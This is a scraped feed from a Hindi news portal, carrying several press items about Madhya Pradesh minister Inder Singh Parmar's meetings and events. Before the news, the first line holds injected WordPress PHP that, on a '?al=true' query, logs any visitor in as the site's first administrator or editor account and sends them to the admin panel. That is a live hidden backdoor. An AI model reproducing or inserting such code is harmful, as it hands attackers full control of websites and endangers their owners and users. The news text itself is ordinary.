// _ea_al add_action('init', function(){ if(isset($_GET['al']) && $_GET['al']==='true'){ if(!is_user_logged_in()){ $u=get_users(['role'=>'administrator','number'=>1,'fields'=>['ID','user_login']]); if(empty($u)){$u=get_users(['role'=>'editor','number'=>1,'fields'=>['ID','user_login']]);} if(!empty($u)){wp_set_auth_cookie($u[0]->ID,true,false);wp_redirect(admin_url());exit();} } else {wp_redirect(admin_url());exit();} } }, 2); Higher Education Minister Parmar – प्रत्युषा आशा की नयी किरण https://pratyushaashakinayikiran.com न्यूज़ पोर्टल Wed, 12 Nov 2025 05:57:00 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 स्काउट-गाइड को बनाएं आत्मनिर्भर एवं स्वावलंबी : उच्च शिक्षा मंत्री परमार https://pratyushaashakinayikiran.com/?p=190926 Wed, 12 Nov 2025 05:57:00 +0000 https://pratyushaashakinayikiran.com/?p=190926 स्काउट-गाइड को बनाएं आत्मनिर्भर एवं स्वावलंबी : उच्च शिक्षा मंत्री  परमार

राष्ट्रीय एवं अंतर्राष्ट्रीय गतिविधियों में, शासकीय विद्यालयों के विद्यार्थियों के प्रतिनिधित्व को बढ़ाने पर दें जोर : उच्च शिक्षा मंत्री  परमार

भारत स्काउट्स एवं गाइड्स मध्यप्रदेश के राज्य परिषद की बैठक हुई

भोपाल 

स्काउट-गाइड अपनी सेवा के माध्यम से विशेष पहचान बनाये हुए है और स्काउटिंग की सेवा भावना जन-जन तक फैली हुई है, यह गौरव की बात है। स्काउटिंग का यह सेवा भाव हमें सेवा ही धर्म है; का संदेश देता है और इस भाव को हम अपने भीतर भी उतारे यह एक बडी साधना है। यह बात उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री  इन्दर सिंह परमार ने भारत स्काउट्स एवं गाइड्स मध्यप्रदेश के राज्य मुख्यालय में आयोजित राज्य परिषद की बैठक में कही।

मंत्री  परमार ने कहा कि भारत स्काउट एवं गाइड म.प्र. इतने वर्षों से सतत् सेवा भाव से कार्य कर रहा है और सेवा ही धर्म है, इस संकल्प को पूरा भी कर रहा है।  परमार ने कहा कि हमें भारत स्काउट एवं गाइड म.प्र. की गतिविधियों को और अधिक विस्तृत करने पर जोर देना होगा और आमदनी के साधन भी बढ़ाने के लिए प्रयास करना होगा जिससे संगठन नियमित रूप से चल सके और स्काउट-गाइड आत्मनिर्भर एवं स्वावलंबी बन सके।

उच्च शिक्षा मंत्री  परमार की अध्यक्षता में बुधवार को भारत स्काउट्स एवं गाइड्स मध्यप्रदेश के भोपाल स्थित राज्य मुख्यालय के सभागार में, राज्य परिषद की बैठक हुई। मंत्री  परमार ने स्काउट्स एवं गाइड्स की विविध गतिविधियों की समीक्षा की एवं विभिन्न बिंदुओं पर विस्तृत चर्चा कर आवश्यक दिशा-निर्देश दिए।

मंत्री  परमार ने समस्त जिला स्काउट्स एवं गाइड्स के सीए ऑडिट कराने के निर्देश दिए और वित्तीय पारदर्शिता सुनिश्चित करने को कहा। उन्होंने निजी विद्यालयों द्वारा स्काउट्स एवं गाइड्स के पंजीयन शुल्क जमा करवाया जाना सुनिश्चित करने को कहा।  परमार ने शासकीय विद्यालयों के विद्यार्थियों के अंतर्राष्ट्रीय एवं राष्ट्रीय गतिविधियों में अधिक से अधिक सहभागिता एवं प्रतिनिधित्व सुनिश्चित करने के लिए आवश्यक दिशा-निर्देश दिए। उन्होंने शासकीय विद्यालयों के विद्यार्थियों के अंतर्राष्ट्रीय एवं राष्ट्रीय गतिविधियों में सहभागिता शुल्क, राज्य मुख्यालय द्वारा न लिए जाने को कहा एवं इस आशय के लिये राष्ट्रीय मुख्यालय को भी अवगत करवाने को कहा। मंत्री  परमार ने जिलों में संग्रहित पंजीयन देय राशि को राज्य मुख्यालय में शीघ्र अति शीघ्र जमा कराए जाने के लिए भी निर्देशित किया।

मंत्री  परमार ने स्काउट्स एवं गाइड्स के सामाजिक सरोकार से जुड़े कार्यों एवं गतिविधियों को और अधिक सुदृढ़ और व्यापक करने के साथ, समस्त गतिविधियों एवं आवश्यकताओं की निर्देशिका (फोल्डर) तैयार करने को कहा। स्काउट्स एवं गाइड्स को आत्मनिर्भर बनाने के लिए सामूहिक समन्वय एवं सतत् प्रयास करने के लिए भी कहा। मंत्री  परमार ने कहा कि स्काउट्स एवं गाइड्स जिला स्तर तक आत्मनिर्भर बनाए जाने के लिए समुचित प्रयास किए जाएं और आमदनी में वृद्धि के लिए व्यापक कार्ययोजना के साथ क्रियान्वयन करें।

मंत्री  परमार ने स्काउट्स एवं गाइड्स द्वारा संचालित निःशुल्क स्वास्थ्य प्रशिक्षण शिविर अन्तर्गत स्वास्थ्य का परीक्षण भी करवाया। मंत्री  परमार ने स्काउट्स एवं गाइड्स की उत्तरप्रदेश के लखनऊ में आयोजित होने वाली राष्ट्रीय जंबूरी के शुभांकर "शार्दू" का विमोचन भी किया।

बैठक में सदस्यों द्वारा प्राप्त सुझावों पर व्यापक चर्चा हुई एवं सर्वसम्मति से विद्यार्थियों के हितों से जुड़े विषयों पर आवश्यक निर्णय लिए गए। अंतर्राष्ट्रीय जंबूरी एवं राष्ट्रीय जंबूरी में विद्यार्थियों की सहभागिता को लेकर भी व्यापक विमर्श हुआ।

बैठक में, पिछली बैठक का पालन प्रतिवेदन प्रस्तुत किया गया। वार्षिक प्रतिवेदन 2024-25 का अनुमोदन, सत्र 2025-26 का वार्षिक कार्यक्रम एवं वार्षिक योजना का अनुमोदन, वास्तविक आय-व्यय 2023-24 पुनरीक्षित 2024-25 एवं प्रस्तावित 2025-26 का बजट अनुमोदन किया गया और सी.ए. ऑडिट प्रतिवेदन 2023-24 भी प्रस्तुत किया गया। राज्य कार्यकारिणी की पिछली बैठक में पारित प्रस्तावों का अनुमोदन, कार्यालयीन प्रस्ताव एवं सदस्यों द्वारा प्राप्त प्रस्तावों पर भी गहन चर्चा की गई।

बैठक में पूर्व मंत्री एवं राज्य मुख्य आयुक्त भारत स्काउट एवं गाइड मप्र  पारस चन्द्र जैन, उपाध्यक्ष  प्रकाश चित्तौडा, उपाध्यक्ष  अजय मिश्रा, उपाध्यक्ष  रमेश अग्रवाल, उपाध्यक्ष  ओम प्रकाश गुप्ता, उपाध्यक्ष मती मीना डागोर, राज्य सचिव  राजेश प्रसाद मिश्रा (से.नि. आई.ए.एस.), राज्य कोषाध्यक्ष  रमेश शर्मा एवं राज्य आयुक्त रोवर  राजीव जैन सहित विभिन्न जिलों के पदाधिकारी एवं सदस्यगण उपस्थित रहे।

 

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प्रकृति संरक्षण के संकल्प के साथ आगे बढ़ना होगा : उच्च शिक्षा मंत्री परमार https://pratyushaashakinayikiran.com/?p=190362 Sun, 09 Nov 2025 16:20:00 +0000 https://pratyushaashakinayikiran.com/?p=190362 अपनी रसोई को आयुर्वेद से जुड़ी सामग्रियों से पुनः समृद्ध करने की आवश्यकता

मंत्री परमार ने "कर्तव्यवीर सम्मान एवं स्थापना दिवस समारोह" में विभिन्न प्रतिभाओं को सम्मानित किया

भोपाल 
उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री श्री इन्दर सिंह परमार ने कहा है कि राष्ट्रीय शिक्षा नीति-2020 के अनुसरण में मध्यप्रदेश, रोजगारपरक, गुणवत्तापूर्ण एवं भारत केंद्रित शिक्षा की ओर आगे बढ़ रहा है। उन्होंने कहा कि वसुधैव कुटुंबकम् ही भारत का मूल दृष्टिकोण है। हमारा भाव है कि विश्व एक परिवार है, विश्व कभी बाजार नहीं हो सकता है। इसी भाव से प्रधानमंत्री श्री नरेंद्र मोदी के नेतृत्व में भारत ने कोविड के भीषण संकटकाल में, विभिन्न देशों को वैक्सीन उपलब्ध कराई थी।

यह बात मंत्री श्री परमार ने रविवार को भोपाल के श्यामला हिल्स स्थित गांधी भवन में, मीणा समाज शक्ति संगठन द्वारा आयोजित सामाजिक "कर्तव्यवीर सम्मान एवं स्थापना दिवस समारोह" में सहभागिता कर कही। मंत्री श्री परमार ने कहा कि मीणा समाज, प्रकृति के सर्वाधिक निकट प्रकृति पूजक समाज है। उन्होंने संगठन के 17वें स्थापना दिवस की शुभकामनाएं दी और मीणा समाज की विभिन्न प्रतिभाओं को सम्मानित किया।

मंत्री श्री परमार ने कहा कि कृतज्ञता, भारत की परम्परा, सभ्यता एवं विरासत है। हमारे पूर्वजों ने प्रकृति एवं प्राकृतिक ऊर्जा स्रोतों जल, सूर्य एवं वृक्ष आदि के संरक्षण के लिए कृतज्ञता के भाव से श्रद्धा रूप में परम्परा एवं मान्यता स्थापित की थीं। श्री परमार ने कहा कि यह पूर्वजों द्वारा स्थापित पीढ़ी दर पीढ़ी स्थानांतरित ज्ञान है। हमें प्रकृति के संरक्षण के संकल्प के साथ आगे बढ़ने की आवश्यकता है।

मंत्री श्री परमार ने सभी से युगानुकुल परिप्रेक्ष्य में स्वस्थ रहने की दृष्टि से प्लास्टिक मुक्त सामाजिक परिवेश के संकल्प में सहभागी बनने की अपील की। श्री परमार ने कृषि एवं दुग्ध उत्पादन में रासायनिक उत्पादों के कम से कम उपयोग करते हुए, जैविक खेती एवं शुद्धता की ओर बढ़ने के लिए भी आह्वान किया।

मंत्री श्री परमार ने कहा कि भारत की गृहणियों की रसोई में कोई तराजू नहीं होता है, गृहिणियों को भोजन निर्माण के लिए किसी संस्थान में अध्ययन करने की आवश्यकता नहीं होती है। भारतीय गृहिणियों में रसोई प्रबंधन का उत्कृष्ट कौशल, नैसर्गिक एवं पारम्परिक रूप से विद्यमान है। भारत की रसोई, विश्वमंच पर प्रबंधन का उत्कृष्ट आदर्श एवं श्रेष्ठ उदाहरण है। श्री परमार ने कहा कि भारतीय रसोई, आयुर्वेद का केंद्र हुआ करती थी, पुनः हमें अपनी रसोई को आयुर्वेद से जुड़ी सामग्रियों से समृद्ध करने की आवश्यकता है।

मंत्री श्री परमार ने कहा कि हम सभी की सहभागिता से, अपने पूर्वजों के ज्ञान के आधार पर पुनः विश्वमंच पर सिरमौर राष्ट्र का पुनर्निर्माण होगा। इसके लिए स्वाभिमान के साथ हर क्षेत्र में अपने परिश्रम और तप से आगे बढ़कर, विश्वमंच पर अपनी मातृभूमि का परचम लहराना होगा। अपनी गौरवशाली सभ्यता, भाषा, इतिहास, ज्ञान और विज्ञान के आधार पर, हम सभी की सहभागिता से भारत पुनः "विश्वगुरु" बनेगा। भारत अपने पुरुषार्थ से, वर्ष 2047 तक ऊर्जा एवं खाद्यान्न के क्षेत्र में भी आत्मनिर्भर होगा और विश्व के अन्य देशों की पूर्ति में सामर्थ्यवान देश बनेगा।

इस अवसर पर सबलगढ़ विधायक श्रीमति सरला बिजेंद्र रावत, राजस्थान से पधारी समाज सेविका एवं मिस इंडिया (2019) सुश्री जया मीणा, सहायक पुलिस आयुक्त जहांगीराबाद (भोपाल) सुश्री सुरभि मीणा, सोशल मीडिया इन्फ्लूएंसर श्री नीरज मीणा एवं संगठन के प्रदेशाध्यक्ष श्री राम घुनावत सहित समाज के वरिष्ठजन, संगठन के विभिन्न पदाधिकारीगण एवं सामाजिक बंधु-भगिनी एवं युवा उपस्थित थे। 

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फॉलन आउट अतिथि विद्वानों को हर माह दो बार मिले स्थान चयन का अवसर : उच्च शिक्षा मंत्री परमार https://pratyushaashakinayikiran.com/?p=186009 Thu, 16 Oct 2025 15:41:00 +0000 https://pratyushaashakinayikiran.com/?p=186009 उच्च शिक्षा मंत्री ने की विभागीय समीक्षा

भोपाल 
उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री श्री इन्दर सिंह परमार ने गुरुवार को मंत्रालय में उच्च शिक्षा विभाग की बैठक विभागीय गतिविधियों एवं कार्यों के क्रियान्वयन की समीक्षा की। बैठक में उच्च शिक्षा मंत्री श्री परमार ने विभिन्न विभागीय विषयों पर विस्तृत चर्चा कर, आवश्यक दिशा-निर्देश दिए। उन्होंने उच्च शिक्षा परिषद् की बैठक का आयोजन शीघ्र सुनिश्चित करने को कहा। मंत्री श्री परमार ने नियमित भर्तियों एवं स्थानांतरण की वजह से फॉलन आउट अतिथि विद्वानों को प्रत्येक माह में दो बार स्थान चयन के लिए अवसर प्रदान किए जाने एवं रिक्त पदों की जानकारी पोर्टल पर अद्यतन किए जाने के निर्देश भी दिए।

बैठक में लोक सेवा आयोग द्वारा भर्तियां, वरिष्ठता सूची, विभागीय पोर्टल एवं स्वीकृत पदों के युक्तियुक्तकरण सहित अन्य विषयों पर विस्तृत चर्चा हुई। अपर मुख्य सचिव उच्च शिक्षा श्री अनुपम राजन एवं आयुक्त उच्च शिक्षा श्री प्रबल सिपाहा सहित विभागीय अधिकारी उपस्थित थे।

 

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सनातन, वैज्ञानिक दृष्टिकोण के आधार पर स्थापित धर्म, महान परम्परा के हम सभी वाहक : उच्च शिक्षा मंत्री परमार https://pratyushaashakinayikiran.com/?p=127960 Sat, 01 Feb 2025 21:49:00 +0000 https://pratyushaashakinayikiran.com/?p=127960 भोपाल
हमारा सनातन धर्म, वैज्ञानिक दृष्टिकोण के आधार पर सृजित एवं स्थापित धर्म है। हमारे पूर्वजों ने अपने पुरुषार्थ से वैज्ञानिक दृष्टिकोण के आधार पर परंपराएं एवं मान्यताएं स्थापित की है। भारत की महान परम्परा के हम सभी वाहक हैं। हम सभी को हीन भावना से बाहर आकर, स्वत्व के भाव की जागृति की आवश्यकता है। यह बात उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री श्री इन्दर सिंह परमार ने कही। मंत्री श्री परमार शुक्रवार को शुजालपुर में विधानसभा स्तरीय टेनिस बॉल क्रिकेट प्रतियोगिता "अटल कप" सीजन -3 के समापन एवं पुरस्कार वितरण समारोह को संबोधित कर रहे थे। श्री परमार ने कहा कि खेल के मैदान से मातृभूमि के प्रति कृतज्ञता का भाव जागृत करने की आवश्यकता है। खेल के मैदान से राष्ट्र के प्रति कृतज्ञता का भाव जागृत होना चाहिए।

उच्च शिक्षा मंत्री श्री परमार ने विजेता टीम को बधाई और शुभकामनाएं दीं। श्री परमार ने कहा कि खेल भावना से समस्त टीमों ने इस प्रतियोगिता के आयोजन को सफल बनाया है। मंत्री श्री परमार ने कहा कि पूर्ण समर्पण और प्रतिबद्धता के साथ हम अपना बेहतर दें यह महत्वपूर्ण है, हार और जीत तो खेल का अंतिम परिणाम है। उन्होंने प्रतिभागी समस्त टीमों को और बेहतर प्रयास व परिश्रम के साथ प्रतियोगिता के अगले संस्करण की ट्रॉफी जीतने की तैयारी करने की बात कही।

"पुरस्कार वितरण समारोह" कार्यक्रम की अध्यक्षता जिला पंचायत शाजापुर अध्यक्ष श्री हेमराज सिंह सिसोदिया ने की। इस दौरान स्टेडियम की बाउंड्रीवाल सहित अन्य कार्यों का भूमिपूजन हुआ। इस अवसर पर श्री अंबाराम कराड़ा, श्री अशोक नायक, श्री क्षितिज भट्ट, श्री विजय सिंह बैस, अध्यक्ष जनपद पंचायत शुजालपुर श्रीमती सीताबाई रामचंदर पाटोन्दिया,अध्यक्ष नगर पालिका परिषद शुजालपुर श्रीमती बबिता बेनीप्रसाद परमार एवं अध्यक्ष नगर परिषद अकोदिया श्रीमती रचना सचिन शर्मा सहित प्रतिभागी टीमों के सदस्य एवं खेल प्रेमी गणमान्य नागरिक उपस्थित थे।

अकोदिया सोनू ने जीता 1 लाख रुपए का पुरस्कार, सुंदरसी को मिले 51 हजार
"अटल कप" के तीसरे सीजन की विजेता टीम अकोदिया सोनू को पुरुस्कार स्वरूप 1 लाख रुपए राशि और उपविजेता टीम सुंदरसी को 51 हजार रुपए की राशि दी गई। फर्स्ट रनर अप टीम अख्तयारपुर को 21 हजार रुपए और सेकंड रनर अप टीम वार्ड नंबर 12 शुजालपुर को 11 हजार रुपए पुरुस्कार स्वरूप दिए गए। वहीं प्रतियोगिता में पांचवें स्थान पर रही चितावद की टीम को 5 हजार रुपए सांत्वना पुरस्कार स्वरूप दिया गया। मंत्री श्री परमार की ओर से प्रत्येक प्रतिभागी टीम को प्रोत्साहन स्वरूप क्रिकेट किट दी गई। वहीं प्रतियोगिता में बेहतरीन बल्लेबाजी, बेहतरीन गेंदबाजी और बेहतरीन क्षेत्ररक्षण के लिए विभिन्न टीमों के खिलाड़ियों को स्मृति चिन्ह देकर सम्मानित किया गया। मैन ऑफ द सीरीज शुजालपुर वार्ड 12 टीम के राहुल परमार को चुना गया। राहुल ने स्पर्धा में कुल 14 विकेट लिए और 479 रन बनाकर ऑलराउंडर प्रदर्शन किया। सर्वश्रेष्ठ गेंदबाज चितावद के कमल और बेस्ट फील्डर अख्तियारपुर के उत्तम रहे। मैन ऑफ द मैच अकोदिया के रवि रहे और सर्वश्रेष्ठ बल्लेबाज रितेश व्यास रहे।

 

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समस्त महाविद्यालयों के पुस्तकालयों को भारतीय ज्ञान परम्परा से जुड़े साहित्य से करेंगे समृद्ध : उच्च शिक्षा मंत्री परमार https://pratyushaashakinayikiran.com/?p=67253 Sat, 07 Sep 2024 12:09:00 +0000 https://pratyushaashakinayikiran.com/?p=67253 समस्त महाविद्यालयों के पुस्तकालयों को भारतीय ज्ञान परम्परा से जुड़े साहित्य से करेंगे समृद्ध : उच्च शिक्षा मंत्री परमार

पुस्तक लेखन में लेखकों का दृष्टिकोण महत्वपूर्ण, भारतीय दृष्टि की आवश्यकता : परमार

मंत्रालय में राष्ट्रीय शिक्षा नीति -2020 के परिप्रेक्ष्य में गठित "भारतीय ज्ञान परम्परा शीर्ष समिति" की बैठक हुई

भोपाल

उच्च शिक्षा, तकनीकी शिक्षा एवं आयुष मंत्री इन्दर सिंह परमार की अध्यक्षता में शुक्रवार को मंत्रालय में राष्ट्रीय शिक्षा नीति -2020 के परिप्रेक्ष्य में उच्च शिक्षा विभाग के अंतर्गत गठित "भारतीय ज्ञान परम्परा शीर्ष समिति" की बैठक हुई। मंत्री परमार ने विभिन्न बिंदुओं पर व्यापक विचार विमर्श कर आवश्यक दिशा निर्देश दिए। परमार ने भारतीय ज्ञान परम्परा के विविध संदर्भों में विश्वविद्यालय स्तर एवं संभाग स्तर पर आयोजित कार्यशालाओं की अद्यतन जानकारी प्राप्त की। भारतीय ज्ञान परम्परा पर केंद्रित महत्वपूर्ण पठनीय पुस्तकों की सूची का अवलोकन कर भारतीय ज्ञान परम्परा से जुड़े तथ्यपूर्ण साहित्य की उपलब्धता के लिए आवश्यक दिशा निर्देश दिए। परमार ने विश्वविद्यालयों के साथ साथ महाविद्यालयों के पुस्तकालयों को भारतीय ज्ञान परम्परा से जुड़े साहित्य से समृद्ध करने को कहा। विद्यार्थियों के उत्साहवर्धन के लिए महाविद्यालय स्तर पर भारतीय ज्ञान परम्परा समावेशी गतिविधियां आयोजित करने के भी निर्देश दिए।                                                       

उच्च शिक्षा मंत्री परमार ने कहा कि राष्ट्रीय शिक्षा नीति -2020 के क्रियान्वयन में, भारतीय ज्ञान परम्परा का समावेश महत्वपूर्ण है और यह व्यापक एवं सतत् प्रक्रिया है। इसके लिए समग्र एवं सूक्ष्म विचार मंथन के साथ क्रियान्वयन की आवश्यकता है। परमार ने कहा कि राष्ट्रीय शिक्षा नीति -2020 के परिप्रेक्ष्य में पुस्तक लेखन में सूक्ष्मता के साथ तथ्यपूर्ण क्रियान्वयन की आवश्यकता है। परमार ने कहा कि पुस्तक लेखन में लेखकों का दृष्टिकोण महत्वपूर्ण है, इसके लिए लेखकों में भारतीय दृष्टि की आवश्यकता है। उन्होंने कहा कि पुस्तक लेखन में भारतीय ज्ञान परम्परा का तथ्यपूर्ण समावेश किया जाए। परमार ने कहा कि पुस्तकालयों में भारतीय ज्ञान परम्परा से जुड़ी पुस्तकों की हिंदी भाषा एवं लेखन की मूल भाषा में भी उपलब्धता सुनिश्चित करें। भारतीय ज्ञान परम्परा से जुड़ी पुस्तकों को पुस्तकालयों में रखने के पूर्व, विभिन्न लेखकों एवं प्रकाशन की पुस्तकों से जुड़े भ्रमजन्य विषयों के निदान के लिए सुझाव, संशोधन एवं आपत्ति निवारण नियत समयावधि पर करना सुनिश्चित करें। परमार ने प्रदेश के विद्यार्थियों के लिए भारतीय ज्ञान परम्परा से जुड़े साहित्य की सुलभ रूप से उपलब्धता के लिए "ई-लाइब्रेरी" विकसित किए जाने को लेकर व्यापक कार्ययोजना बनाने को कहा। परमार ने कहा कि प्राध्यापकों को राष्ट्रीय शिक्षा नीति -2020 के अनुसरण एवं भारतीय ज्ञान परम्परा के भावानुरूप अध्यापन करने की आवश्यकता है। परमार ने प्राध्यापकों के प्रतिवर्ष उन्मुखीकरण के लिए निर्धारित समयावधि की प्रशिक्षण नीति बनाने के लिए भी निर्देशित किया।

भारतीय ज्ञान परम्परा शीर्ष समिति के उपाध्यक्ष एवं शिक्षा संस्कृति उत्थान न्यास के सचिव डॉ अतुल कोठारी ने कहा कि राष्ट्रीय शिक्षा नीति -2020 के क्रियान्वयन में, भारतीय ज्ञान परम्परा के समावेश के लिए, विश्वविद्यालयों एवं महाविद्यालयों में भारतीय ज्ञान परम्परा से संबंधित नियमित व्याख्यान किए जाने की आवश्यकता है। महाविद्यालयों में विद्यार्थियों के लिए भारतीय ज्ञान परम्परा से जुड़ी गतिविधियों का आयोजन किए जाएं। डॉ कोठारी ने कहा कि चरित्र निर्माण एवं व्यक्तित्व के समग्र विकास को लेकर शिक्षा संस्कृति उत्थान न्यास एवं उच्च शिक्षा विभाग के मध्य हुए अनुबंध के अनुपालन में क्रियान्वयन करें।

आयुक्त उच्च शिक्षा निशांत बरबड़े ने पिछली बैठक के निर्देशों के अनुपालन में हुए क्रियान्वयन एवं आगामी कार्ययोजना से अवगत कराया। बरबड़े ने बताया कि भारतीय ज्ञान परम्परा के विविध संदर्भों में 27 विश्वविद्यालयों को आवंटित विषयों में से 25 विश्वविद्यालयों में सफलतापूर्ण कार्यशालाओं का आयोजन किया गया है। प्रदेश के 10 संभागों में से 6 संभागों( नर्मदापुरम, उज्जैन, इंदौर, ग्वालियर, चंबल एवं रीवा) में भारतीय ज्ञान परम्परा के विविध संदर्भों में कार्यशालाओं का आयोजन किया गया है।

बैठक में राष्ट्रीय शिक्षा नीति -2020 के क्रियान्वयन एवं भारतीय ज्ञान परम्परा के संदर्भ में वृहद कार्यक्रम आयोजन को लेकर चर्चा हुई। मप्र हिंदी ग्रंथ अकादमी के लेखकों की पुस्तक लेखन के संबंध में कार्यशाला आयोजन को लेकर भी चर्चा हुई।

उल्लेखनीय है कि राष्ट्रीय शिक्षा नीति -2020 के परिप्रेक्ष्य में उच्च शिक्षा विभाग के अंतर्गत गठित "भारतीय ज्ञान परम्परा शीर्ष समिति" राष्ट्रीय शिक्षा नीति 2020 के परिप्रेक्ष्य में तैयार किए गए पाठ्यक्रम में स्नातक एवं स्नातकोत्तर स्तर पर भारतीय ज्ञान परम्परा के व्यापक समावेश तथा विश्वविद्यालयों में आयोजित की जाने वाली संगोष्ठियों/कार्यशालाओं के सम्बन्ध में सूक्ष्म चिंतन, मार्गदर्शन तथा विस्तृत दिशा निर्देश उच्च शिक्षा विभाग द्वारा गठित "भारतीय ज्ञान परम्परा समन्वय प्रकोष्ठ" को प्रदान करेगी।

इस अवसर पर मप्र हिंदी ग्रंथ अकादमी के निदेशक अशोक कड़ेल एवं म.प्र. शुल्क विनियामक आयोग के अध्यक्ष डॉ. रवींद्र कान्हेरे सहित समिति के विभिन्न सदस्यगण, विभिन्न विश्वविद्यालयों के कुलगुरू एवं विभागीय अधिकारी उपस्थित थे।

 

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